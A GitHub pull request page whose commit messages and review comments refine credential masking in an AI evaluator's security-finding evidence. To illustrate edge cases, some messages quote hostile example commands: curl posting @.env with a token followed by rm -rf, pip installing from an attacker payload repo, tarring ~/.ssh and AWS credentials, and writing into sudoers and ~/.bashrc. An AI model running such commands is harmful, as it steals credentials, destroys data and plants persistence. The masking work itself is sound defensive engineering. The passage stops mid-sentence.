Repository navigation
fix(tier3): keep credentials out of security finding evidence - #445
Conversation
Security findings stored the agent's command, tool input, prompt or response as evidence, and that evidence is saved in skill_evaluator_reward.json, the collected results and the reports. Path findings kept the whole command, destructive-command, prompt-injection and refusal findings kept their text unmasked, and network findings masked only known key shapes. Path findings now record the protected entry they matched. The other findings mask private key blocks, URL user info, Authorization header values, credential flags and assignments, and common token prefixes, scanning at most 2,000 characters. Scores are unchanged. The Harbor verifier runs the same shared check. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…finding evidence The assignment masker read the quote after an empty credential name as the opening quote of a value, so `grep "token=" ... | curl URL` and `grep "password=" ... && rm -rf DIR` lost the destination and the rm. That quote now closes the string the name opened. A quoted value ends at its line, "=" with no space before it takes no value after a space, a name after "/" or a host:port is not an assignment, author and authority are not credential names, and a name ending in a location word (_URL, _DIR, _FILE, ...) keeps its value unless it names a secret or password. An escaped JSON name and value inside a shell string are masked. More credential forms are masked: Authorization schemes other than Bearer, Basic, Token and Digest (mirroring the judge evidence header patterns), API-key, token and Cookie headers, long flags whose name holds a credential word (--client-secret, --db-password, --oauth2-bearer, --cookie), -u/-U/--user/--proxy-user values with a colon including "KEY:" and the attached form, -p after a login command or sshpass, attached mysql -p, aws configure set credentials and .netrc passwords. URL userinfo has no length cap. A word cut by the scan window is replaced with <truncated>, keeping a URL's scheme and host. The path helper is renamed _sensitive_path_match and sits where the home-path matching change defines its own, so the two meet in one place. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…seline matching Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
_sensitive_path_match returned the first entry in list order, so a write to /etc/profile.d/npm.sh was recorded as /etc/profile and one to /etc/sudoers.d/bot as /etc/sudoers, since each list names the shorter entry first. The evidence then named a file the agent never wrote, and baseline attribution matched a with-skill /etc/profile.d write against a baseline /etc/profile write. The longest matching entry now wins. The credential-call cases now assert the exact entry each path finding records, and new cases pin the profile.d and sudoers.d entries and the attribution split between them. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
The key-shape pass writes "[redacted secret exposure]" for AKIA and ya29 keys, and the flag and assignment rules that run after it masked only its first word: "AWS_ACCESS_KEY_ID=AKIA..." became "AWS_ACCESS_KEY_ID=<redacted> secret exposure]". Command evidence now writes that marker as <redacted>, and a flag or assignment value that is a masked private key block is masked as one value. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
The header pattern copied from judge evidence masks a value to the end of its line, which suits a quoted header but hid the rest of a command when the value was unquoted: "curl -sH Authorization:$GH_TOKEN -d @.env URL && rm -rf /srv/app" kept only "curl -sH Authorization:<redacted>" for both its destructive and network findings, and HTTPie's "Authorization:$T < .env && rm ..." lost the rm the same way. A quoted value is still masked to its closing quote. An unquoted value is masked to the end of its shell word, escaped spaces included, and a word of letters such as "SSWS" after the separator also takes the next word, its credential. The copied pattern is unchanged, so it still equals the template's judge-evidence pattern. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…ence The user-flag rule masked any -u, -U or --user value with a colon, so "pip install -U git+https://github.com/attacker/payload && rm -rf ~/project" recorded "pip install -U <redacted>", which hid the package source a reviewer needs and gave every such command one attribution signature. A value with "://" is a URL, whose userinfo the URL pass already masks, so it is kept. The login rule masked the -p value after any "login" word, so "git log --author=login -p HEAD~3" became "-p <redacted>". "login" now counts only as a subcommand: its own word after a command word such as docker, az or registry, not after a flag or "=". Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
Some variants of the forms the docs list as masked still reached saved
evidence:
- an attached -p after a login subcommand ("docker login -u bot -pVALUE");
- a .netrc entry written across lines, as a here-document or with "\n"
escapes inside a printf string;
- curl's "-b NAME=VALUE" cookie, which the report excerpts already mask
with _CLI_COOKIE_FLAG_RE ("-b FILE", a cookie jar, is kept);
- "name= value" inside a quoted string ("echo 'password= VALUE' >>
config.ini"), which is not a shell assignment;
- values of names that end in a "_pass", "_pwd" or "pw" part (DB_PASS,
MYSQL_PWD, PW). A bare PWD, the working directory, is kept.
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
The credential-flag pattern (--[a-z0-9-]*WORD[a-z0-9-]*) tried every split of one long flag word, so its cost grew with the square of that word. Flag names are now matched as whole runs and checked for a credential word afterwards, as assignment names already are. The unquoted Authorization loop searched with the copied judge pattern, whose value reads to the end of the line, once per header on that line. It now finds a header without reading its value, and reads the quoted value with the copied pattern only when the header is quoted. The copied pattern still equals the template's. The masking result is unchanged; two guard cases cover a credential flag inside another flag's quoted value and a long flag name. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…orms The docs and CHANGELOG now say that a path finding records the longest matching entry, that an unquoted Authorization value is masked to the end of its word, and which further forms are masked or left alone: curl's -b cookie, attached -p after a login subcommand, multi-line .netrc entries, DB_PASS-style names, "password= value" inside quotes, and URLs after -U or --user. The code comment over the patterns says the same. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…dence
Some ordinary words in destructive-command and network evidence were
masked although they carry no credential:
- The MySQL rule matched mysql as a path component, so
"find /var/lib/mysql -path '*.ibd' -delete" became "-p<redacted>".
The client must now be a command word, run by name or from a bin
directory, and find's -path, -perm, -print and -prune are skipped.
- A -u value whose first colon starts a "/" path is a remote path
("rsync -u host:/loot"), so the host stays.
- Long flags that take a file or nothing (--password-stdin,
--token-file, --cookie-jar, and names ending in -path or -dir) keep
the word after them, such as a registry or a file path.
- A token prefix followed by lowercase snake_case words is an
identifier (hf_hub_download, npm_config_registry) and is kept.
Letters-only Hugging Face tokens are still masked.
- A name that ends in "type" (token_type) and a plural "tokens" name
holding a number (max_tokens=100) keep their values.
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
…rs at the quote
Digest headers did not behave as the docs say ("the Bearer, Basic,
Token, or Digest word stays"):
- The Digest word was masked. The header pass kept it, then the
assignment pass read "Authorization: Digest" as a credential name and
masked the first word. Digest now joins Bearer, Basic and Token as a
scheme word the assignment pass skips.
- A double-quoted Digest header was masked to the end of the line, since
the copied judge-evidence pattern does not stop at a double quote.
"curl -H \"Authorization: Digest ...\" -d @.env URL && rm -rf DIR"
lost the destination and the rm. Inside double quotes the value now
ends at the first unescaped quote; single-quoted and other headers
still use the copied pattern, which stays equal to the template's.
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
…idence A credential value with spaces inside a quoted string lost only its first word, so most of a passphrase stayed in the saved evidence: "echo 'password: correct horse battery staple' >> config.yml" kept "horse battery staple", and curl -d "password=...", an .env line written with echo "DB_PASSWORD=...", and a quoted .netrc line behaved the same way. - Inside a quoted string, an assignment value that does not open its own quote now runs to the string's closing quote (or the closing escaped quote of a JSON-escaped string). Inside a "sh -c" command string a shell assignment's value stays one word, so sh -c "GITHUB_TOKEN=... git push --force && rm -rf DIR" keeps the command, and sh -c "TOKEN= rm ..." no longer masks the rm. - A .netrc password runs over the words after it up to the next netrc keyword, quote, shell operator or line end. - A plain assignment or flag value may hold escaped spaces (password=correct\ horse\ battery), and a flag value may be a JSON-escaped string (--password \"...\"). Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
Common variants of forms the evidence masking already lists kept the
credential:
- curl short flags grouped with -u ("curl -su user:password",
"-fsSLu user:password"). The colon-in-value, URL and remote-path
guards still apply.
- Space-separated config set: "npm config set //host/:_authToken
VALUE" (also pnpm and yarn) and "git config [--global] github.token
VALUE". Only a key whose last part names a credential is masked, so
"git config credential.helper store" and "npm config set always-auth
true" are kept.
- Python subscripts (os.environ["API_KEY"] = "..."), and ":=" and "=>"
separators, which were read as the value and left the credential
after the marker. A parenthesized value (auth=("bob", "...")) is
masked whole.
- A quoted word stuck to the quote that closes an empty assignment
('API_KEY='"VALUE").
- argv lists: the element after a quoted credential flag, after "-u"
when it holds a colon, and after "-p" that follows a "login" element.
- PASS, a database, mail or account name joined to "pass" (DBPASS,
SMTPPASS) and any name joined to "pwd" (MYSQLPWD). PWD, OLDPWD,
BYPASS, COMPASS and SURPASS are kept.
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
…ort gaps The finding-evidence section of the Tier 3 docs now lists curl flag groups, config set commands, argv lists, quoted passphrases, Python subscripts and the := and => separators, and names the flags, identifiers and counts that keep their words. It also names known gaps and over-masks. The CHANGELOG entry is re-wrapped. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
Leaks:
- A credential name inside a quoted string it does not open
("username=bob&password=...", ' password: ...', "export DB_PASSWORD=...")
now has its value masked to the closing quote. Quotes are read forward
from the start of each line in one pass. A quoted value also ends at a
"\n" escape (a printf line break) and at "&" before the next form field,
so "token=VALUE&next=1" keeps "&next=1".
- Argument lists: the element after --user or --proxy-user with a colon,
after -b with "=", after -p right after an sshpass element, and an
attached -pVALUE after a login or MySQL client element.
- npm config set with an option that carries a value (--location=global),
and npm's and pnpm's "set" alias.
Over-masks:
- An eval string or a remote ssh command is a shell string, so an
assignment's value inside it is one word and the rm after it stays.
- A flag value never starts at a shell operator, so "git config --get
github.token | curl ...", "--with-token < token.txt" and "aws configure
set KEY < /dev/null" keep the pipe or redirect. git config --get and
--unset take no value.
- A bare PASS is a password only as PASS=VALUE with a value that is not a
number or $((...)), so "echo PASS: 3" and "PASS=0" are kept. A -u value
that starts with "+" is a date format and is kept.
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
…argv and config forms Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
A bare "pass" was skipped whenever its separator was not "=", so
OpenSSL's "-pass pass:VALUE" and "-passin 'pass:VALUE'", and a quoted
"pass" key or value ('"pass": "VALUE"', "pass => 'VALUE'"), kept the
secret. A bare "pass" is now kept only with a number, $((...)), true,
false, null or None, or when an unquoted "PASS" and an unquoted value are
joined by a separator other than "=" or a bare ":" ("PASS: 3",
"--- PASS: TestName").
Signed-off-by: Narendran Raghavan <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
The forward quote scan finds credential names deep inside sh -c, eval and ssh command strings. A value after ":" or " = " then ran to the string's closing quote, so 'ssh host "grep -r token: /etc/app && rm -rf /srv/app"' lost the rm that caused its destructive_command finding. Any value in such a string is now one word, as a shell assignment's already was, and Node, Perl and Ruby -e programs are read the same way. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…lists Any -u value that started with "+" was kept, so "curl -u +admin:VALUE" kept the password. Only a "+" with a "%" conversion before the first colon is a date format now. The argv -u, --user and --proxy-user rule gets the same exemption, so ["date", "-u", "+%H:%M:%S"] is kept instead of having its format masked. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
The argv flag and sshpass rules allowed only spaces and tabs around the comma, so a list that a formatter writes one element per line kept its --password, login -p, -u and sshpass -p values. Up to 64 spaces and line breaks may now follow the comma; each scan stays linear. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
"curl -d'username=bob&password=VALUE'" read the quote after -d as an apostrophe inside a word, so only the first word of a passphrase was masked. A quote right after a short flag at the start of a word now opens a string, as in a shell. The quote-scan comment no longer says quotes are read as a shell reads them: unlike in a shell, a line break ends a string here. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
…dence rules and their limits The evidence masking section now says that a bare PASS is kept as test output or a counter while OpenSSL's pass: and quoted pass keys are masked, that a value in a sh -c, eval, ssh or -e program string is one word, that argv lists one element per line and curl -d'...' are covered, and which forms stay best effort: an unquoted PASS: value, npm options with a separate value, and all but the first word of a value with spaces on a here-document line or inside a sh -c or ssh string. It also says that a line break ends a quoted string here, unlike in a shell. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
Conflicted file: - CHANGELOG.md: main added a `tier3 compare` lift entry at the end of Unreleased > Fixed, where this branch had added its security finding evidence entry. Both entries are kept under the single Fixed heading, main's first and this branch's after it. Released sections are unchanged. src/skillevaluator/tier3/eval_core/checks.py and docs/tier3-live-evaluation.mdx merged without conflicts: main's changes there (error recovery fault attribution, optional reference handling and new docs sections) do not touch the security check code or paragraphs this branch changes. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Reviewed security finding evidence generation and redaction, including real check_security probes. One credential leak remains for quoted Cookie values:
Signed-off-by: Narendran Raghavan <[email protected]>
Signed-off-by: Narendran Raghavan <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Reviewed the complete production redaction change, callers and regression coverage. Fixed the quoted-Cookie credential leak in 38ead11, keeping the host finding and bundled judge-evidence patterns in parity. The original head fails all 9 new real-entrypoint regressions; the fixed head passes those 9 and the complete affected suite (1,513 passed with locked dependencies). make lint and make build pass.
The inline finding is replied to and resolved. Frozen main ce52a09 merged cleanly with DCO sign-off. The normal fast-forward push started fresh CI, which remains pending; no full local-suite pass is claimed. No merge performed.
Signed-off-by: Narendran Raghavan <[email protected]> # Conflicts: # CHANGELOG.md
rng1995
left a comment
There was a problem hiding this comment.
Integration review at 190f2a95ef48fd9fe8e1fb0e42e6fbba55fa2d5c: resolved the actual CHANGELOG conflict while merging main 487910ef1dc44800ad0af61d8de7eed0d2800c69, retaining both independent entries. No additional production edit was made beyond the reviewed integration. Focused verification: 299 passed in 15.61s; make lint passed; pinned Fern 5.121.0 check passed with 0 errors and only the existing authenticated-redirect warning.
The candidate is merge-clean against explicitly audited main 487910ef1dc44800ad0af61d8de7eed0d2800c69; subsequent main checks are recorded where main advanced during external merges. The merge commit has DCO sign-off and was pushed normally after fresh open-PR and live-head checks. Fresh hosted CI is pending. No PR was merged by this review.
Signed-off-by: Narendran Raghavan <[email protected]>
There was a problem hiding this comment.
Diagnostic follow-up at 11a9ed16f054b1eded05fef7e62b48e6aee67e0c: the previous Package job built/validated the wheel successfully but its smoke step exited 1 with stdout hidden. Wheel manifests show no missing/extra files; the expected two security files are the only differences from main, and the cookie fix is unchanged from the earlier passing wheel. Actual installed-wheel help/doctor probes pass with the same unlocked dependency versions.
The CI-only change enables command tracing and retains doctor output while preserving every exit status. Traced arguments contain only paths, versions, import snippets and the explicit public nvapi-ci-placeholder; no configured credential is emitted. bash syntax validation and 8 packaging-workflow tests pass. The signed-off commit was pushed normally after current open-state, head and base checks. Fresh CI will expose the actual failing command/readiness detail if it recurs; no root cause or pass is asserted yet.
Signed-off-by: Narendran Raghavan <[email protected]> # Conflicts: # CHANGELOG.md
rng1995
left a comment
There was a problem hiding this comment.
Concurrent-merge integration review at 050695d25173811c2918ca39e26b1f3f512737d8: The actual CHANGELOG overlap preserves every independent entry and places this PR’s complete entry after its assigned existing bullet in the same Unreleased subsection. No production conflict required manual edits. Focused contracts: 299 passed in 18.47s. Lint passes; pinned Fern validation reports 0 errors and only the existing authenticated-redirect warning.
The signed-off fix was pushed normally after live open/head/base guards and clean merge checks against captured main b38b71be01f7fdf332e37efbfec49714f3939161 and actual base main at b38b71be01f7fdf332e37efbfec49714f3939161. Fresh exact-head hosted CI is pending. No PR was merged by this review.
rng1995
left a comment
There was a problem hiding this comment.
External-update review at 28892f3b476f3b5e2c27b9cdc3c6e60882b4c6f5: its committed tree exactly matches the automatic merge of 050695d25173811c2918ca39e26b1f3f512737d8 and a72a611963ac5328c63931c92fbcfbc88cf730aa. The reviewed security fix remains intact; fresh focused contracts on this exact head pass: 299 passed in 27.26s. The head merges cleanly with captured main a72a611963ac5328c63931c92fbcfbc88cf730aa.
No branch changes were made by this review. The externally authored merge is preserved; fresh exact-head hosted CI remains required before readiness.
chrisknvidia
left a comment
There was a problem hiding this comment.
Thanks for the thorough work here. I read the masker line by line and probed it: a few hundred credential shapes, about 335k random strings and pathological 2,000-character inputs. No exceptions, the slowest call was 8 ms, git SHAs, image digests and UUIDs are not touched, and the destructive command or destination after a masked value stays readable. The new tests are real: 258 of the 270 cases in test_security_finding_evidence.py fail on main.
Two things need to change before this can merge.
-
The rebase. #444 landed on main with its own _sensitive_path_match, _PROTECTED_WRITE_PATHS and a second write rule, so checks.py (five hunks) and the docs page conflict. When I merged main locally and resolved it so the protected-file list is kept, the only failures were the two network-netrc-printf cases, because ~/.netrc is now a protected path and that command also gets a path finding. Resolving it the other way (taking this PR's side in the write-tool branch) makes Write to ~/.config/fish/config.fish score 1.0 and fails 10 cases in test_security_home_paths.py, so please re-run the tier3 security tests after the merge.
-
Three forms you list as masked still leak: a URL password that contains @ (the userinfo regex stops at the first @), a double-quoted value with an escaped quote, and a continuation line between a credential flag and its value (curl -u <newline> user:pw). Inline comments have the details and the suggested regex changes.
Smaller points, none blocking: drop the set -x and unsilenced doctor output in ci.yml; the longest-entry rule loses stores when one command touches several unrelated ones; prompt and response evidence is prose, so 'my password is X' passes through; plugin_security.py still has its own weaker _redact_finding_evidence (Cookie, docker login -p, mysql -p, netrc are kept there). I also listed a few common shapes that are not masked yet (URL query key/sig/signature, pypi- tokens, redis-cli -a, unzip -P). DCO is fine on all commits.
Signed-off-by: Christopher Kevin <[email protected]>
… flag values Three forms that the finding-evidence masking documents as masked still leaked their tail: - URL user info stopped at the first "@", so for https://bob:p@ssw0rd@host/ the text after the first "@" stayed. The user info now runs to the last "@" before the "/", whitespace or quote that ends it. - A backslash did not escape the quote after it inside a double-quoted value, so "pa\"ss" ended at the escaped quote. A backslash now escapes the next character in double-quoted flag, assignment, argv, -u, mysql, netrc and stuck-quote values. - A backslash-newline between a credential flag and its value kept the value. The line continuation is now removed before any rule reads the text, as a shell reads it, so values on continued lines (and a value split by a continuation) are masked and a continued command shows as one line. Tests cover each form in the shared check and the Harbor verifier copy, that SHAs, image digests, UUIDs, ordinary URLs and continued commands without credentials keep their text, a time bound on adversarial input, and the home-path write and read findings merged from main. Also drop the set -x and unsilenced doctor output that were left in the CI wheel smoke step. Signed-off-by: Christopher Kevin <[email protected]>
Signed-off-by: Narendran Raghavan <[email protected]>
Signed-off-by: Narendran Raghavan <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Reviewed and integrated the concurrent author update through cd971933, preserving its full tests and current main. Fixed the remaining private-plugin/judge redaction divergence by sharing credential masking while retaining distinct finding and judge evidence budgets. Final local verification: 2,529 passed across 11 affected modules; changed-file Ruff and formatting pass; Fern has 0 errors and the existing unauthenticated redirect warning. Independent review approved the final integration. Chris’s seven inline threads are addressed; nonblocking single-entry attribution and unsupported prose/common credential shapes remain explicitly documented. The OSS boundary command reports an inherited unregistered public-extra-vector-db anchor in an unchanged test file; no successful boundary-scan claim is made. Current-head CI is running.
…curately Signed-off-by: Narendran Raghavan <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Follow-up CI classification at b68cebc: both CodeQL flows began at _mask_argv_attached_password() even though it returns the complete masked evidence string. Renamed that private transformer to _mask_attached_argv_values; an AST comparison proves the production module is otherwise unchanged. No alert dismissal, scanner exclusion, or weaker masking was introduced. Gitleaks flagged a synthetic f-string from preserved author commit ccd7363, so .gitleaksignore now names only that exact commit/file/rule/line fingerprint; the current fixture is composed without a literal fake auth pair. 112 affected cases and Ruff/format pass. The earlier full 2,529-case result remains applicable to the unchanged production behavior. Monitoring the new head’s CI.
Signed-off-by: Narendran Raghavan <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Final judge integration at e61477f preserves all seven existing header/count contracts unchanged. The shared masker now remasks complete quoted header values while retaining JSON/subscript/string syntax, f-string prefixes, and known auth schemes for judge evidence; it never skips the secret-containing value. Six new escaped-header suffix cases remain credential-free, and three real public/private finding controls keep ordinary token-count flags readable. Validation: 2,644 passed across 12 affected modules; Ruff/format and Fern pass (one existing unauthenticated warning). Independent review also passed 115 header/count contracts. Current main merges cleanly; the new head was pushed normally and its exact-head CI is being monitored.
rng1995
left a comment
There was a problem hiding this comment.
Current-head adoption review: 046a4da is the exact clean automatic merge of reviewed/tested e61477f and main 6eb7563. The security-plugin and verifier-template ASTs are unchanged; the shared checks module differs only by main's json import and check_error_recovery function. The 2,644 affected tests and 115 independent contracts were executed on the reviewed source head; no full rerun on this merge commit is claimed. Current-head CI has only Python 3.12 coverage still running; all other current checks are successful or skipped. No new actionable finding from this merge review.
…nce (#562) * fix(tier3): mask five more credential forms in security finding evidence Follow-up to #445. Security finding evidence kept the credential in these command forms: - An assignment value read as a parenthesized tuple only when it started with "(", so auth=HTTPBasicAuth('bob', PASSWORD) masked only the class name. A dotted call name may now start the value, and the arguments of a call or tuple may hold one level of calls. A call is read only when its ")" ends the word, so a word with parentheses in it is still masked whole. - A credential name right after "/" was read as a URL host or path segment, so sed -i 's/password=.*/password=NEW/' kept NEW. A name may now start the pattern or the replacement of a sed s/PATTERN/REPLACEMENT/ expression whose "s" starts a word; a /s/ URL path segment is not one. - A long flag name was read as letters, digits and "-", so --db_password, --api_key and --auth_token kept their values. Flag names may now hold "_", also in the short -api_key form and in argv lists; a name ending in _file, _path, _dir, _jar or _stdin still keeps the word after it, and --max_tokens and --token_limit keep their numbers. - The config set key had to be an unquoted word after the options, so a quoted key or one after "--" kept its value. Both forms are now read; the quotes stay out of the key that is checked for a credential word. - A shell apply_patch command was cut to 400 characters before it was masked, so a cut inside URL user info left a password no pattern recognized. The text is now masked first and then cut. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): list every protected entry in path findings and name the written file Follow-up to #445. A sensitive-path or sensitive-file-write finding recorded only the longest protected entry found anywhere in the command. That rule was meant for nested entries (/etc/profile.d over /etc/profile), but with unrelated entries it dropped one the command touched: tar czf k.tgz ~/.ssh ~/.aws/credentials recorded only .aws/credentials, and against a baseline that read only ~/.aws/credentials the with-skill finding was attributed to the baseline. A command still gets one finding per check, and its evidence now lists every matched entry in list order, such as "~/.ssh, .aws/credentials". When several entries match, each path word is read on its own, and an entry that is part of a longer entry in that word, as written or with its home spelled "~", is left out, so /etc/profile.d/npm.sh records /etc/profile.d and /root/.ssh/id_rsa records /root/.ssh. A command with one matched entry is read as before. The baseline comparison then compares the whole list. A shell write finding also took the longest entry across the keyword rule and the write targets, so grep -h umask /etc/profile >> ~/.bashrc recorded the /etc/profile it only reads. The finding now lists the protected files its redirection, tee or sed -i targets write, and only when no target names one does it record the keyword rule's entry. The keyword rule itself, and which commands get a finding, are unchanged. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): mask a word with parentheses whole and two more sed and call forms Follow-up to #445. Three gaps in the credential masking of security finding evidence: - A value read as a call ended at its ")" when "," ")" "]" or "}" came next, and the call reading was tried before the word reading. A word with parentheses in it was then cut short: "password: Pa(ss),word" kept ",word", and "PASS=Ab(c)}..." kept the text after "}". The call reading is now used only when it runs past the word read from the same start, so such a word is masked whole again, while "auth=HTTPBasicAuth('svc', PASSWORD), timeout=5" still keeps ", timeout=5". - In an ssh, sh -c or eval command string, or a perl -e program, a value is one word, so in "s/token: .*/token: NEW/" the value of the name that starts the pattern ran over the name that starts the replacement, which was then skipped and NEW was kept. When a value runs over a sed replacement name, the masked text now runs on to the end of that name's value. - A call whose arguments a formatter split over lines, as in "session.auth = HTTPBasicAuth(\n \"svc\", PASSWORD\n)", kept the password. A call's arguments may now span lines; a tuple's still may not. The docs and CHANGELOG also say that flags naming a token other than --max-tokens and --token-limit, such as --max_new_tokens, are masked in either spelling. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): list the keyword rule entries a shell write finding would drop Follow-up to #445. A shell sensitive-file-write finding listed the files its redirection, tee or sed -i targets name, and only when no target named one did it record the keyword rule's entry, and then only the longest. That rule flags a command that names a shell startup or sudoers file and has a redirection anywhere, and it is the only one that sees a file written by cp, mv, install or dd. So: - "sudo cp evil /etc/sudoers.d/x && cp evil2 ~/.bashrc 2>/dev/null" recorded only /etc/sudoers.d, and was attributed to a without-skill baseline that wrote only /etc/sudoers.d. - "cp /tmp/evil /etc/sudoers.d/agent && echo x >> ~/.bashrc" recorded only ~/.bashrc, so the sudoers write was attributed to a baseline that appended to ~/.bashrc. The keyword rule now lists every entry it finds, leaving out one that is part of a longer entry in the same path word, as the path findings do. Its entries are the evidence when no target names a protected file, and are listed beside the target entries when the command also runs a command that writes a file named in its arguments (cp, mv, install, dd, ln, rsync, scp, curl, wget, tar, unzip) or an interpreter. A file the command only reads beside a redirection, as in "grep umask /etc/profile >> ~/.bashrc", is still left out. Which commands get a finding is unchanged. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): list every protected header in an apply_patch write finding An apply_patch write finding recorded only the first protected file header, so a patch that added ~/.bashrc and ~/.ssh/authorized_keys recorded ~/.bashrc and was attributed to a baseline that wrote ~/.bashrc alone. The finding now lists the entry of every protected header in a fixed order, as shell command and tool path findings do. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): list sudoers and profile files written by visudo, patch and similar commands A shell write finding lists the keyword rule entries beside its redirection, tee or sed -i targets only when the command runs a command that writes a file named in its arguments. visudo, ed, ex, truncate, patch, sponge, sort -o and awk were not among them, so "visudo -f /etc/sudoers.d/agent && echo y >> ~/.bashrc" recorded only ~/.bashrc and was attributed to a baseline that wrote ~/.bashrc. These commands are now read as writers, as cp and the interpreters are, so the sudoers or profile entry is listed again. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): keep masking a sed replacement value spliced after the closing quote A credential name that starts a sed pattern masks the rest of the quoted expression, and a credential name inside that masked value was skipped unless it started the replacement. When the replacement splices its value in after the closing quote, as in s/TOKEN=.*/export TOKEN='"VALUE"'/, the skipped name's value was left in the evidence, where it was masked before sed pattern names were read. Any credential name inside the value of a name in a sed expression now extends the masked text to the end of its own value. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): keep the assignment reading of underscored flags and spaced config values Reading "_" in credential flag names and "--" before a config key let the flag and config set rules take over forms the assignment rule masked better. "--api_key=K1;TOKEN=..." ran the flag value over the next assignment and left its quoted value, "--auth_token=(..., VALUE)" masked only the opening parenthesis, and "npm config set -- password = VALUE" masked only the "=". A "_" flag joined to its value with "=" is now left to the assignment rule, an unquoted value after a "_" flag and a space ends at ";", "|" or "&" as an assignment word does, and a config set rule no longer takes a separator word as the value, so the assignment rule masks "password = VALUE" in every spelling. Flags spelled with "-" are unchanged. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): do not read the apply_patch envelope as a patch command The shell write rule lists the keyword rule entries beside its targets when the command runs patch. The "*** Begin Patch" line of a shell apply_patch heredoc matched that word, so a protected file that the patch body only mentioned was listed beside the file a redirection wrote. The envelope lines no longer count as a patch command. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * revert(tier3): record one protected entry in path finding evidence again This reverts the path-evidence listing added by 0ea994e, 26f3f82, e493f80, f3491c9 and 124d97e. A sensitive-path or sensitive-file-write finding again records the longest protected entry its command, path or apply_patch header names, and the baseline comparison again matches that one entry, as the Tier 3 docs describe. Their docs, CHANGELOG text and tests go with them. The credential masking fixes on this branch are unchanged. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * fix(tier3): leave a separator after a _ flag or quoted config key to the assignment rule The assignment rule reads past a separator, so main masks the value in "./tool --api_key = VALUE" and "npm config set -- password ='VALUE'". Reading "_" flag names, and quoted or "--" config keys, with the flag and config rules made those rules take the separator for the value, so the value stayed in the evidence. "--api_key = VALUE" became "--api_key <redacted> VALUE", also with " : ", " := " and " => ", in the short "-access_token := VALUE" form, with a quoted value and inside a quoted string. The config rule masked only the separator in "npm config set -- password ='VALUE'", 'npm config set "password" ="VALUE"' and "yarn config set -- GITHUB_TOKEN :'VALUE'". A "_" flag followed by a separator is now left to the assignment rule, as one joined to its value with "=" already was. After a quoted key or a key after "--", the config rule no longer takes a value that starts with a separator. An unquoted key keeps the reading it has on main. New guards pin the eight forms on the shared checks and the Harbor template. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]> * perf(tier3): read a name in a masked sed value again only inside its expression When the masked value of a name in a sed expression ran over other credential names, each of them was read again so that a value spliced in after a closing quote is still masked. A long one-word value made that quadratic: masking judge evidence, which has no 2,000-character cut, took about 2.4 s for "sed -i 's/password=" followed by 36,000 characters of "x,token=y", and 0.014 s on main. A name inside a masked value is now read again only while the masked text ends inside the sed expression that holds it: the expression whose pattern or replacement the name starts, or else the one whose name's value this is. Each part of an expression is read up to 256 characters, as the sed pattern rule already reads it. A value spliced in after the closing quote of the replacement is still masked, also after an 